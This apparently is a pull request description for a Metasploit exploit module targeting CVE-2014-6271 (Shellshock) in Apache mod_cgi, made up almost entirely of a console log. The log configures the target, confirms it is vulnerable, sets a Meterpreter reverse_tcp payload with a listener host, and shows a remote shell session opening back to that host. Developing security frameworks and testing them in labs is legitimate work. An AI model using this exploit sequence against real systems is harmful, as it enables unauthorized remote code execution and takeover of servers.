Add exploit module for CVE-2014-6271 (Bash exploit)  

Nothing super impressive, just get the awesome's @wvu-r7 's module and build the exploit version, because sessions are funny =)

```
msf exploit(apache_mod_cgi_bash_env_exec) > set TARGETURI /test.php
TARGETURI => /test.php
msf exploit(apache_mod_cgi_bash_env_exec) > check
[+] 172.16.158.144:80 - The target is vulnerable.
msf exploit(apache_mod_cgi_bash_env_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(apache_mod_cgi_bash_env_exec) > set LHOST 172.16.158.1
LHOST => 172.16.158.1
msf exploit(apache_mod_cgi_bash_env_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 172.16.158.144
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.144:44539) at 2014-09-25 13:29:42 -0500
[*] Command Stager progress - 101.18% done (861/851 bytes)

meterpreter > getuid
eServer username: uid=48, gid=48, euid=48, egid=48, suid=48, sgid=48
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.144 - Meterpreter session 1 closed.  Reason: User exit
```